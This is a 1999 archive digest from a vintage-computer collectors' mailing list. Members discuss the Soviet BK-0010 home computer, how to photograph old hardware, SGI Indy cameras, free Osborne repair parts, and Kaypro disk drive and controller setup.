ckaiser at oa.ptloma.edu Fri Jan 29 10:28:13 1999 From: ckaiser at oa.ptloma.edu (Cameron Kaiser) Date: Sun Feb 27 18:40:38 2005 Subject: Daily Laugh! In-Reply-To: <199901291610.IAA29461@mxu1.u.washington.edu> from "Daily.Laugh@Virgin.Net" at Jan 30, 99 03:34:23 am Message-ID: <199901291628.IAA10254@oa.ptloma.edu> A non-text attachment was scrubbed... Name: not available Type: text Size: 456 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990129/9ea626b0/attachment.ksh From Anthony.Eros at digital.com Fri Jan 29 10:26:54 1999 From: Anthony.Eros at digital.com (Anthony Eros) Date: Sun Feb 27 18:40:38 2005 Subject: Soviet BK-0010 Message-ID: <5518FE2C95E6D111B1A500104B72113B024E2911@alfexc8.alf.dec.com> Wow! That sounds all kinds of neat -- any chance you have a line on more than one of these? I'd love to add a "computer-in-a-keyboard" PDP-11 to the collection! -- Tony Eros Computer History Association of Delaware ---------- From: Andrew Davie[SMTP:adavie@mad.scientist.com] Reply To: classiccmp@u.washington.edu Sent: Friday, January 29, 1999 9:23 AM To: Discussion re-collecting of classic computers Subject: Soviet BK-0010 I recently posted about the Soviet BK-0010 computer. I've since found out a bit more information about it. I'm reliably told that it has an actual PDP-11 processor inside it - and I naturally assumed it was a PDP-11 clone. Its not. In fact, it is a computer-in-a-keyboard, somewhat akin to the Commodore 64. The whole thing weighs 2kg or thereabouts. It's a simple home computer. There are two versions - a membrane keyboard (with brightly coloured keys!) and a "normal" keyboard one. More information as it becomes available. And here I was, expecting to have to arrange shipping for something the size of a fridge! I'm trying to arrange pictures - I may extend my site to include Soviet Microcomputers, too :) But that would be "MOSMOW" and it doesn't have the same catchy ring to it. I need a new acronym! A -- adavie@mad.scientist.com visit MOSCOW - the Museum of Soviet Calculators (on the Web) at http://www.comcen.com.au/~adavie/slide/calculator/soviet.html a Yahoo!, Netscape, Wall Street Journal, Newsweek and New Scientist Cool Site! From erd at infinet.com Fri Jan 29 10:28:39 1999 From: erd at infinet.com (Ethan Dicks) Date: Sun Feb 27 18:40:38 2005 Subject: photographing olf computers/parts In-Reply-To: from "John Lawson" at Jan 28, 99 10:41:29 pm Message-ID: <199901291628.LAA19217@user2.infinet.com> > I have variable (mostly good) luck with ASA 400 Kodak (Fuji too > green) in a Minolta X700 in manual mode, with a 28 - 210 variable > lens. Good advice. I love Fuji for outdoor shots in Greece, but it is very responsive to greens and blues. Kodachrome is muchmore sensitive to yellows and reds > as Sam suggested... a colored towell or sheet, contrasting the device, does > fine. Towels are nice because of the texture. Nice suggestion. > I have them developed commercially and scan the prints, then > I can massage them as necessary. I prefer slides to prints, but slide work is less forgiving. > I am circling around buying a digital still camera... but none of > them under USD$3000 really crank my tractor yet. If I had to buy > tomorrow, for me it would be the Kodak DC260. YMMV. Over the years, I have used the Apple QuickTake 150, Kodak DC-40, DC-50, and DC-120. My current favorite is the DC-260, too. I may buy one this year. One nice feature of the DC-120 and DC-260 is "no compression" mode. You only get a few pictures in the camera, but they only have to go through lossy compression once, at the conversion-to-JPG stage. > This is, to me, a very on-topic topic. There are many systems now, > I am sure, whose legacy is reduced to photos and descriptions. I have some photos of the machine room where I used to work in 1984. I wish I had taken more vintage shots than I did. At least I now own most of the equipment in the pictures! As a trained historian and archaeologist, the value of a picture taken at the time artifacts are in use is inestimable, especially for objects in situ. So take pictures anyway you can, but if there is any way to take pictures _before_ a rescue, those are really valuable. Got to fly, -ethan From dastar at ncal.verio.com Fri Jan 29 11:44:12 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:40:38 2005 Subject: Soviet BK-0010 In-Reply-To: <001d01be4b93$01aad080$36f438cb@a.davie> Message-ID: On Sat, 30 Jan 1999, Andrew Davie wrote: > I'm trying to arrange pictures - I may extend my site to include Soviet > Microcomputers, too :) But that would be "MOSMOW" and it doesn't have the > same catchy ring to it. I need a new acronym! It doesn't have to be Microcomputers. Microcomputers are Computers too. Try making an acronym of KREMLIN. Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 01/15/99] From dastar at ncal.verio.com Fri Jan 29 11:50:48 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:40:38 2005 Subject: Daily Laugh! In-Reply-To: <199901291610.IAA29461@mxu1.u.washington.edu> Message-ID: Um, Derek, you're gonna unsubscribe this, right? Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 01/15/99] From adavie at mad.scientist.com Fri Jan 29 14:45:49 1999 From: adavie at mad.scientist.com (Andrew Davie) Date: Sun Feb 27 18:40:38 2005 Subject: Soviet BK-0010 In-Reply-To: Message-ID: <000101be4bc8$5a94dbc0$3df438cb@a.davie> OK, another interesting snippet... the BK-0010 was released using the language FOCAL. BASIC came a bit later. I have been offered several of these machines and can find several more. Getting them out of Russia is/will be time consuming and expensive. At this stage I plan only to grab machines for myself - but if you really want one drop me a line. WARNING: One of these machines will cost you $150+ by the time all fees/postage/currency conversion/duty are paid, and I'm looking at a 6 month lead-time. A -- adavie@mad.scientist.com visit the Museum of Soviet Calculators at http://www.comcen.com.au/~adavie/slide/calculator/soviet.html a Yahoo!, Netscape, Wall Street Journal, Newsweek and New Scientist Cool Site!? ? From jrkeys at concentric.net Fri Jan 29 15:25:27 1999 From: jrkeys at concentric.net (John R. Keys Jr.) Date: Sun Feb 27 18:40:38 2005 Subject: FW: Nice finds In-Reply-To: <3.0.1.16.19990128225712.4d872c78@intellistar.net> Message-ID: <000701be4bcd$e3825160$a6afadce@5x86jk> Sorry the hand held units themselves are a model I and model II, the one being black in color older and the two being gray in color. Different manuals and software for them. John > -----Original Message----- > From: CLASSICCMP-owner@u.washington.edu > [mailto:CLASSICCMP-owner@u.washington.edu]On Behalf Of Joe > Sent: Thursday, January 28, 1999 4:57 PM > To: Discussion re-collecting of classic computers > Subject: Re: FW: Nice finds > > > At 08:36 PM 1/28/99 -0600, you wrote: > > > >Well it's been awhile and I have picked a lot more items than I can list > >without causing problems. I have just few things worth telling everyone > >about. > > > >6) Handheld products Micro-wand systems a model II & III hand > held wands, a > >direct plug-in transformer, all the manuals and software for them. > > Interesting. I know the guy that owns Hand Held Products. He started > out making EPROM boxs for the HP 41 calculators. Now he's made it big time > in the bar code field. He makes some great stuff! But I didn't know he > made stuff for the TRS computers. > > > Joe > > From jrkeys at concentric.net Fri Jan 29 15:28:49 1999 From: jrkeys at concentric.net (John R. Keys Jr.) Date: Sun Feb 27 18:40:38 2005 Subject: Antique Computer Rare Vintage HP-41C Classic [Re: FW: Nice finds] In-Reply-To: <021501be4b33$77689330$11d53d9d@JOEBAR> Message-ID: <000801be4bce$5bf3c0c0$a6afadce@5x86jk> just today I picked up a owners manual for the HP-41CV and a solid state software module for the TI58 in the box with manuals both for 10 cent each at the thrift. John > -----Original Message----- > From: CLASSICCMP-owner@u.washington.edu > [mailto:CLASSICCMP-owner@u.washington.edu]On Behalf Of Joseph S. Barrera > III > Sent: Thursday, January 28, 1999 9:00 PM > To: Discussion re-collecting of classic computers > Subject: Antique Computer Rare Vintage HP-41C Classic [Re: FW: Nice > finds] > Importance: Low > > > > Interesting. I know the guy that owns Hand Held Products. He started > > out making EPROM boxs for the HP 41 calculators. Now he's made > it big time > > You realize, of course, that the HP-41C is an "Antique Computer > Rare Vintage > Classic", right? > > http://cgi.ebay.com/aw-cgi/eBayISAPI.dll?ViewItem&item=61225809 > > - Joe :-) > > > From ard at p850ug1.demon.co.uk Fri Jan 29 14:07:12 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:38 2005 Subject: photographing old computers/parts In-Reply-To: <3.0.3.32.19990128222243.00b9a680@agora.rdrop.com> from "James Willing" at Jan 28, 99 10:22:43 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1910 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990129/441fa7d4/attachment.ksh From ard at p850ug1.demon.co.uk Fri Jan 29 14:14:35 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:39 2005 Subject: photographing olf computers/parts In-Reply-To: from "John Lawson" at Jan 28, 99 10:41:29 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1935 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990129/c7d796bc/attachment.ksh From ard at p850ug1.demon.co.uk Fri Jan 29 14:23:51 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:39 2005 Subject: photographing olf computers/parts In-Reply-To: <80256708.003553FB.00@WESTD90.pgen.co.uk> from "Philip.Belben@pgen.com" at Jan 29, 99 09:58:11 am Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1275 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990129/536c96af/attachment.ksh From ard at p850ug1.demon.co.uk Fri Jan 29 14:28:03 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:39 2005 Subject: photographing olf computers/parts In-Reply-To: <000f01be4b79$eb31fb80$36f438cb@a.davie> from "Andrew Davie" at Jan 29, 99 10:24:22 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 911 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990129/51ad5269/attachment.ksh From ard at p850ug1.demon.co.uk Fri Jan 29 14:29:27 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:39 2005 Subject: photographing olf computers/parts In-Reply-To: from "Kevan Heydon" at Jan 29, 99 03:32:31 am Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 393 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990129/3112cfc0/attachment.ksh From rhblake at bigfoot.com Fri Jan 29 16:01:11 1999 From: rhblake at bigfoot.com (Russ Blakeman) Date: Sun Feb 27 18:40:39 2005 Subject: free stuff References: <199901272327.RAA05060@thorin.cs.umn.edu> Message-ID: <36B22FA6.BB8EB8DA@bigfoot.com> Lawrence LeMay wrote: > > On Thu, 28 Jan 1999, Computer Room Internet Cafe wrote: > > > > > Ok, I'll bite, WTH is an Indy Camera?? > > > > A digital video camera for an SGI Indy. The market seems to be flooded > > with them right now for some reason. A guy had a couple of boxes of them > > at TRW last month. > > > > -- Doug > > > > Because they give you one with every computer you buy. And when you're buying > a room full of computers for a computer lab, you dont want all those cameras installed. Thus you're stuck with a bunch of hardware you dont want to use, > yet you dont want to throw it away.. > > -Lawrence LeMay Are these any good for common clones and such? Maybe rather than a freebie you'd sell or trade one or so off? I know I need to find out what they are first but I have a feeling it might work for some odd projects I have in my head since they undoubtedly had a CCD in them, whether BW or color. From rhblake at bigfoot.com Fri Jan 29 16:03:55 1999 From: rhblake at bigfoot.com (Russ Blakeman) Date: Sun Feb 27 18:40:39 2005 Subject: free stuff References: <199901280159.RAA12286@oa.ptloma.edu> Message-ID: <36B2304A.350D2585@bigfoot.com> Cameron Kaiser wrote: > ::I can tell you what maybe half the pins in the 60 pin connector are for. > ::The rest are "SGI proprietary". Plus the quality of the image the camera > ::will produce is abysmal at best. > > Half is a start. I don't mind the image quality because -- let's face it -- > Commodore image quality is no picnic. :-) I've dealt with Indycams before, > look at > > http://calvin.ptloma.edu/~spectre/pix/me.gif > > which was taken with one when I got to use an Indy over the summer at the > Salk Institute. I loved that thing, I wanted one. I think I destroyed more > experiments from getting absorbed in xdoom than my impressive incompetency. Image quality isn't bad, just the subject needs to be better (kidding). From spc at armigeron.com Fri Jan 29 16:31:11 1999 From: spc at armigeron.com (Sean 'Captain Napalm' Conner) Date: Sun Feb 27 18:40:39 2005 Subject: photographing olf computers/parts In-Reply-To: from "Tony Duell" at Jan 29, 99 08:14:35 pm Message-ID: <199901292232.RAA19081@armigeron.com> A non-text attachment was scrubbed... Name: not available Type: text Size: 5213 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990129/d9e4ea54/attachment.ksh From marvin at rain.org Fri Jan 29 16:33:09 1999 From: marvin at rain.org (Marvin) Date: Sun Feb 27 18:40:39 2005 Subject: Osborne Stuff in UK References: <000801be4bce$5bf3c0c0$a6afadce@5x86jk> Message-ID: <36B23725.9EC0F623@rain.org> This was posted on the CPM usegroup. Wish I lived in the UK now! And of course, contact the seller, not me. ******************** FREE OFFER TO RE-BUILDERS AND COLLECTORS: -- All items in section I are on offer until mid-February and must be -- -- collected, preferably as one job lot. Otherwise they will go to the-- -- local waste disposal unit. All items are the remnants of a no -- -- longer existing Osborne repair facility. I cannot assist in -- -- packaging and/or posting & despatch in any of the items listed. -- Location Mid-Warwickshire, UK. SECTION I. -- all items in as is condition: 1 complete and 4 partial blue case Osborne 01 computers. 1 box of full hight 5 1/2" disk drives and control boards in various states of repair. 1 small box of double density upgrade boards. 1 small box of Osborne 2, (Executive) memory boards. 1 box of new and sealed assorted nylon printer ribbons and nylon colour ribbon cartridge re-fills. 1 small daisywheel printer, serial interface only. SECTION II. NO REASONABLE OFFERS REFUSED: 1 box of 14 new 5" 12Volt Motorola instrument monitors, as used in the Osborne 01 computers. 1 hardly and only personally used, Juky 6100 daisywheel printer, friction, with tractor feed, sundry typewheels, ribbons and good owners manual. Both items, printer and feeder, are in their original boxes. 1 Epson MDA monitor in good working order, used with Amstrad PPC. 1 Amstrad PPC extension box with all interface cables, PSU and four 8bit card slots in good working order. 15 reams of white Nashua photocopier paper. -- John Laker, eng,(grad.), FIDiagE Tel/Fax:00 44 (0)1926 492507 e-mail:jael@laker.demon.co.uk -- John Laker From ckaiser at oa.ptloma.edu Fri Jan 29 16:46:12 1999 From: ckaiser at oa.ptloma.edu (Cameron Kaiser) Date: Sun Feb 27 18:40:39 2005 Subject: free stuff In-Reply-To: <36B2304A.350D2585@bigfoot.com> from "Russ Blakeman" at Jan 29, 99 04:03:55 pm Message-ID: <199901292246.OAA15328@oa.ptloma.edu> A non-text attachment was scrubbed... Name: not available Type: text Size: 494 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990129/15bb44e4/attachment.ksh From rigdonj at intellistar.net Fri Jan 29 18:41:40 1999 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:40:39 2005 Subject: Antique Computer Rare Vintage HP-41C Classic [Re: FW: Nice finds] In-Reply-To: <199901291359.OAA14555@horus.mch.sni.de> References: <3.0.1.16.19990129093427.43375ece@intellistar.net> Message-ID: <3.0.1.16.19990129184140.0a5f3d30@intellistar.net> At 02:59 PM 1/29/99 +1, you wrote: >> > Ummm. yeah I own at least 30 of them :-) FWIW even the HP-71 is an >> > "early" HP calculator according to E-OverPay. > >> Everything is relative. The 41C can be considered a computer. It's >> certainly classic. Pretty vintage, too. Rare antique? Well, 3 out of 5 >> ain't bad. At least he didn't call it an S-100 Altair IMSAI HP 41C. > >Shure ? maybe he stored the HP in the same room, or even >had them once at the same time on the same table !!! Yes, and I traded an HP for my Altair! I also got my Tektronix 4051 as a freebie when I bought another HP. Joe From rigdonj at intellistar.net Fri Jan 29 18:49:22 1999 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:40:39 2005 Subject: Hello all! In-Reply-To: <005101be4b92$06538d80$0101a8c0@jay> Message-ID: <3.0.1.16.19990129184922.0a5f5326@intellistar.net> Hi Jay, Welcome to the list. Where are you located? I collect smaller HPs (9000s, 98xx stuff, 85s, calculators, etc). At 08:16 AM 1/29/99 -0600, you wrote: >I just found out about this list so I thought I'd post this here in case >someone can help... I appologize if this is a repeat post! > >Looking for anything HP21MX or HP2000 related - cpu's, peripherals, etc. >Many of the HP1000 system peripherals are of interest too. My particular >interest is TSB (Time Share BASIC), not RTE, so I'm also interested in >IOP Roms, etc. > >Especially interested in the following: >21mx series cpus and controllers >2748A or 2748B high speed paper tape reader >790x type disk drives (7900, 7905, or 7906) I just send two HP 7907s with MAC interfaces to another list member. >7970 tape drive >TSB 1541 rev c or later paper tape (binary, loader1, and loader2) > >This is for a private collection, hobbyist use (not business or resale) - >does anyone have any of this stuff around in storage they'd be willing to >part with? > >Please reply directly to jay@tseinc.com. Thanks! What do you do at Software Exchange (tseinc.com)? > >Jay West Joe > > > From zmerch at 30below.com Fri Jan 29 17:02:31 1999 From: zmerch at 30below.com (Roger Merchberger) Date: Sun Feb 27 18:40:39 2005 Subject: Parallel C64's... In-Reply-To: References: Message-ID: <3.0.1.32.19990129180231.0095eb70@mail.30below.com> On or about 10:21 PM 1/26/99 -0800, Sam Ismail was caught in a dark alley speaking these words: >On Mon, 25 Jan 1999, Max Eskin wrote: >> Using 80 C-64s in a single project? Heck, I'm curious... >Were basically in the preliminary feasibility study stages of building a >massively parallel vintage computer. The point? To demonstrate that old >hardware that can be picked up for pennies can be combined to attain >amazing amounts of computing power. How much of the documentation / flowcharts / source code / etc. will be open source / GPL / freeware? I've always wanted to build a multi-processor CoCo (the 6809 was designed with simple multiprocessing in mind) but never quite figured out where to start. These documents might actually give me a clue. Just wondering, Roger "Merch" Merchberger (a.k.a. Daddy) ===== Roger "Merch" Merchberger -- zmerch@30below.com SysAdmin - Iceberg Computers ===== Merch's Wild Wisdom of the Moment: ===== Sometimes you know, you just don't know sometimes, you know? From lemay at cs.umn.edu Fri Jan 29 16:59:12 1999 From: lemay at cs.umn.edu (Lawrence LeMay) Date: Sun Feb 27 18:40:39 2005 Subject: interesting book Message-ID: <199901292259.QAA07806@thorin.cs.umn.edu> Well well, people throw out the darndest things.. I found a copy of a book by someone named Peter Norton. Looks to me like it may have been his first book. Called 'inside the IBM PC'. His 2 test systems for developing the book were: IBM/PC with 64K standard memory and 512K on a jumbo memory board that he bought as a lark. The jumbo board is populated with 64K chips. he mentions tha this board does provide astonishing improvement in his Pascal programs.. (Duh!). Monochrome monitor. Second system has a Amdek color II monitor, 128K of true blue IBM memory, twin Tandon TM 100-2 diskette drives, and the standard color graphics adapter. Oh yeah, he mentions that he uses teh Jumbo card to simulate a 360K virtual diskette drive ;) He disassembles roms, disusses bios calls, and explains how the cassette tape interface works, among other things. Personally, I think this guy could go far... -Lawrence LeMay From dastar at ncal.verio.com Fri Jan 29 16:59:37 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:40:39 2005 Subject: Parallel C64's... In-Reply-To: <3.0.1.32.19990129180231.0095eb70@mail.30below.com> Message-ID: On Fri, 29 Jan 1999, Roger Merchberger wrote: > How much of the documentation / flowcharts / source code / etc. will be > open source / GPL / freeware? All of it I guess. Unless you really want to pay us :) Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 01/15/99] From spc at armigeron.com Fri Jan 29 16:57:29 1999 From: spc at armigeron.com (Sean 'Captain Napalm' Conner) Date: Sun Feb 27 18:40:39 2005 Subject: Classic Computer Auctions List In-Reply-To: <199901271210.MAA19955@nixpbe.pdb.sni.de> from "Hans Franke" at Jan 27, 99 01:10:25 pm Message-ID: <199901292258.RAA20037@armigeron.com> A non-text attachment was scrubbed... Name: not available Type: text Size: 1132 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990129/bc796548/attachment.ksh From donm at cts.com Fri Jan 29 17:02:48 1999 From: donm at cts.com (Don Maslin) Date: Sun Feb 27 18:40:39 2005 Subject: new toy! In-Reply-To: <199901290738.AAA01292@calico.litterbox.com> Message-ID: On Fri, 29 Jan 1999, Jim Strickland wrote: > > A copy of TeleDisk and a TeleDisk disk image and a PC with a 5.25" drive > > - preferably a 360k - is pretty much what you need. Because the o/s is > > contained in the boot track, the usual copy commands don't quite fo it. > > > > No, more likely there are some of the other jumpers set such that the > > Kaypro doesn't like it. And yes, you can hang 3.5" drives on instead. > > It means patching the BIOS to reflect the format differences, and of > > course you cannot format to 1440k (HD). Allison has done the 3.5" thing, > > I believe. > > I'd love to know how this is done. :) Which? > > > Also, on www.psyber.com/~tjc/ it says there's a western digital hard disk > > > controller. WD-1002-05 HDO. Is it possible to connect this to a K4? If so, > > > how? I don't see any open connectors on the motherboard offhand. > > > > Apparently, you have the so called 4/83 that uses full height drives. > > The 4/84s and 2Xs and 10s all had a 50 pin header that lead to an adapter > > board, which in turn led - by way of a 40 conductor ribbon - to the WD HD > > controller. > > Actually the stickers on the back read "Kaypro 4 '84" and it has half height > drives. The drive connector feeds directly to the main board. to the rear > of that is what appears to be a connector that wasn't ever attached - there are > holes but no connector. Well, if that is so, it should have a 50 pin header or the traces and pads for it on the right hand edge of the motherboard just beyond the floppy connection header. > > > Anyway, the guy I got my K4 from has a K2 and a K2x - the latter of which > > > appears to be unable to boot, although I suspect reseating the chips would > > > solve it, and the former of which has a soda-contaminated keyboard with > > > some missing keys. If anyone's interested in these machines, let me know and > > > I'll forward your e-mail to him. > > > > If in fact that is a K2 rather than a KII, it might have the 50 pin header > > also. Kaypro played some games with model numbers, so it is a bit > > difficult to be absolutely certain sometimes. > > > > - don > > -- > Jim Strickland > jim@DIESPAMMERSCUMcalico.litterbox.com > ----------------------------------------------------------------------- > Vote Meadocrat! Bill and Opus in 2000 - Who ELSE is there? > ----------------------------------------------------------------------- > From erd at infinet.com Fri Jan 29 17:00:29 1999 From: erd at infinet.com (Ethan Dicks) Date: Sun Feb 27 18:40:39 2005 Subject: photographing old computers/parts In-Reply-To: from "Tony Duell" at Jan 29, 99 08:07:12 pm Message-ID: <199901292300.SAA27445@user2.infinet.com> > > drawer) and on slides I usually correct it in the scanner... > > Ah... I take slides for projection, not scanning, so I don't have a > second chance to correct the colour. > > Have you tried scanning the negatives for colour prints and reversing the > colours? It should be possible. I have an HP 3100A "PhotoSmart" scanner. It does 5"x7" prints, slides and negatives. It runs $400 MSRP; I got mine for $200 used. On slides and negatives, it does 1200 dpi; not great, but it's the best slide scanner I've seen for under $2000. -ethan From spc at armigeron.com Fri Jan 29 17:02:06 1999 From: spc at armigeron.com (Sean 'Captain Napalm' Conner) Date: Sun Feb 27 18:40:39 2005 Subject: Classic Computer Auctions List In-Reply-To: <36AF2307.8CF01961@bigfoot.com> from "Max Eskin" at Jan 27, 99 09:30:31 am Message-ID: <199901292303.SAA20306@armigeron.com> A non-text attachment was scrubbed... Name: not available Type: text Size: 1030 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990129/322200bb/attachment.ksh From donm at cts.com Fri Jan 29 17:07:59 1999 From: donm at cts.com (Don Maslin) Date: Sun Feb 27 18:40:39 2005 Subject: photographing olf computers/parts In-Reply-To: Message-ID: On Fri, 29 Jan 1999, Kevan Heydon wrote: > > I have also heard, from pocket calculator collectors, that you get real > good pictures if you photograph them outside on a bright but overcast day. > I haven't tried this myself yet, but I suspect that because all non > specialist films are designed for outside use and that you don't get > shadowing or light source reflections you end up with good clear pictures. > Obviously taking a box of calculators outside is a lot easier than some of > the larger computers, but I am going to try it in the near future as we > now have a larger garden with areas that are not in shadow from > overhanging trees. > One person said that his preferred background was the concrete floor of > the top layer of a multi-storey car park! Avoiding the droppings of vaious kinds, I would hope :) - don > -- > Kevan > > Collector of old computers: http://www.heydon.org/kevan/collection/ > > > From svs at ropnet.ru Fri Jan 29 17:28:57 1999 From: svs at ropnet.ru (Sergey Svishchev) Date: Sun Feb 27 18:40:39 2005 Subject: Soviet BK-0010 In-Reply-To: <36B1C712.1D93901@idirect.com>; from Jerome Fine on Fri, Jan 29, 1999 at 09:34:58AM -0500 References: <001d01be4b93$01aad080$36f438cb@a.davie> <36B1C712.1D93901@idirect.com> Message-ID: <19990130022857.00720@firepower> On Fri, Jan 29, 1999 at 09:34:58AM -0500, Jerome Fine wrote: > > I recently posted about the Soviet BK-0010 computer. > > I've since found out a bit more information about it. I'm reliably told > > that it has an actual PDP-11 processor inside it - and I naturally assumed > > it was a PDP-11 clone. Its not. In fact, it is a computer-in-a-keyboard, > > somewhat akin to the Commodore 64. The whole thing weighs 2kg or > > thereabouts. It's a simple home computer. There are two versions - a > > membrane keyboard (with brightly coloured keys!) and a "normal" keyboard > Jerome Fine replies: > > Is this computer able to run any of the PDP-11 OSs? Which ones? Does it > also have an OS which uses a Russian alphabet? Were any of there OSs > pirated from the original OSs when the CCCP did not pay any license fees > for western software? Of DEC OSs, BK-0010 runs at least RT-11 5.3 (under name of Net-RT11); there are other, custom OSs available (ANDOS, MKDOS, CSIDOS...) They do use Russian alphabet. There's a LOT to tell about this machine, but I'm not the right person to do it. The whole story is big, and needs to be written by someone who "was there". I only know random facts. The right place to ask questions is news://fido7.mo.dec (which is bidirectionally gatewayed from FidoNet echo MO.DEC on 2:5020 backbone.) NB: go to http://www.fido7.ru/ before you post there. Related URLs: http://www.users.itl.net.ua/~prool/BK-0010.html Short info about the machine http://people.weekend.ru/vanyas/museumbk/ http://www.halyava.ru/magicpage/ Museum of BK-0010 http://rdc.cch.pmc.ru/ BK-0010 emulator for the Amiga http://www.chat.ru/~samosvl/ Internet and education http://yandex.ru/yandsearch?text=%22%E1%EA-0010%22&formal=on Hits returned by Yandex search engine (arguably the best search engine for pages in Russian) http://www.dejanews.com/getdoc.xp?AN=228171597 "How original design was killed by The Mgt. and replaced by LSI-11 compatible one" -- Sergey Svishchev -- svs{at}ropnet{dot}ru From allisonp at world.std.com Fri Jan 29 18:03:40 1999 From: allisonp at world.std.com (Allison J Parent) Date: Sun Feb 27 18:40:39 2005 Subject: TI99: WP and PC Message-ID: <199901300003.AA24160@world.std.com> References: <199901291610.IAA29461@mxu1.u.washington.edu> Message-ID: <199901300028.QAA18020@geocities.com> Unless you want a daily mutany. These spammers... why can't we ALL live in Washington state? > Um, Derek, you're gonna unsubscribe this, right? > > > Sellam Alternate e-mail: dastar@siconic.com > ------------------------------------------------------------------------------ > Always being hassled by the man. > > Coming in 1999: Vintage Computer Festival 3.0 > See http://www.vintage.org/vcf for details! > [Last web site update: 01/15/99] > ******************************************** *Tim D. Hotze - Co-Founder, The ReviewGuide* *tim@thereviewguide.com * *http://www.thereviewguide.com * ******************************************** From wirehead at retrocomputing.com Fri Jan 29 18:33:47 1999 From: wirehead at retrocomputing.com (Anthony Clifton - Wirehead) Date: Sun Feb 27 18:40:39 2005 Subject: retrocomputing.com FTP server temporarily down In-Reply-To: <199901300003.AA24160@world.std.com> Message-ID: Just wanted to let everyone know that www.retrocomputing.com has been moved to my own server on the T1 at work. In addition, I've been learning all about PageMill so I can do a spiffy update of the pages. The FTP site will temporarily be down until I can get it moved to the same equipment on the T1 at work. It'll be a BIG improvement over the 33.6k dialup it was running on out of my house. Anthony Clifton - Wirehead From elvey at hal.com Fri Jan 29 18:35:19 1999 From: elvey at hal.com (Dwight Elvey) Date: Sun Feb 27 18:40:39 2005 Subject: TI99: WP and PC In-Reply-To: <199901300003.AA24160@world.std.com> Message-ID: <199901300035.QAA13641@civic.hal.com> allisonp@world.std.com (Allison J Parent) wrote: ---snip--- > Think of it as something > like a 6502 call and Push combined though it's more powerful. > > Allison > Add a stack and it might make a useful instruction for a Forth interpreters inner engine. Dwight From zmerch at 30below.com Fri Jan 29 18:50:01 1999 From: zmerch at 30below.com (Roger Merchberger) Date: Sun Feb 27 18:40:39 2005 Subject: photographing olf computers/parts In-Reply-To: References: <80256708.003553FB.00@WESTD90.pgen.co.uk> Message-ID: <3.0.1.32.19990129195001.00971ea0@mail.30below.com> On or about 08:23 PM 1/29/99 +0000, Tony Duell was caught in a dark alley speaking these words: >Of course larger-format conventional films are good as well. 5"*4" sheet >film can produce some pretty amazing images.... Or, if you can find these two things: An old Argus camera from the 50's (pretty easy to find at garage sales -- car boot sales for those of you in the U.K... ;-) The associated 620 format film - it's 70mm and with a decent camera, gets some really nice pix. (This is the tough part - I haven't played with it for years, and I have *no* clue if anyone (offered as a service) could still develop it - you might be limited to a home darkroom to work with the stuff.) >Yes, Polaroid film has very fine grain for its speed, but I am not sure >how (say) 3000 ASA polaroid compares to 100ASA conventional film. I would >think that very slow conventional films are probably better. Another question: What is the longevity of Polaroid film? I know well-fixed negs can last many, many years - but what of the stability of that funky internal acid-bath of the self-developing films? I have some that have lasted ~ 15 years, but I've not looked at them for a decade and couldn't tell you if the picture quality has degraded. ================= Another area where long exposure times, a good tripod and a timer setting come in handy is when photographing the image of a computer monitor, especially a classic one. To get a good photo of a monitor, you need to have a shutter speed at least 2x of the refresh rate... as in: if your monitor refreshes at 30Hz, which means each refresh is 1/30 second, you need at least a 1/15 sec. exposure to get a fairly decent pic of the image, else your pic will look like this horizontally: 1/2 bright little brigher little brigher yet little brigher yet little brigher yet little brigher yet little brigher yet brightest darkest little brigher little brigher yet little brigher yet little brigher yet little brigher yet little brigher yet 1/2 bright and the bright-spot is actually where the electron gun is scanning at the time the shutter snapped. most articles I'd seen on the subject recommend a 1/2 second, which requires a good tripod. There was an article in Rainbow or HotCoCo (don't remember which) about this very topic -- I'll try to dig it up if I get the chance. See ya, Roger "Merch" Merchberger ===== Roger "Merch" Merchberger -- zmerch@30below.com SysAdmin - Iceberg Computers ===== Merch's Wild Wisdom of the Moment: ===== Sometimes you know, you just don't know sometimes, you know? From allisonp at world.std.com Fri Jan 29 19:11:58 1999 From: allisonp at world.std.com (Allison J Parent) Date: Sun Feb 27 18:40:39 2005 Subject: new toy! Message-ID: <199901300111.AA20237@world.std.com> <> > It means patching the BIOS to reflect the format differences, and of <> > course you cannot format to 1440k (HD). Allison has done the 3.5" thin <> > I believe. <> <> 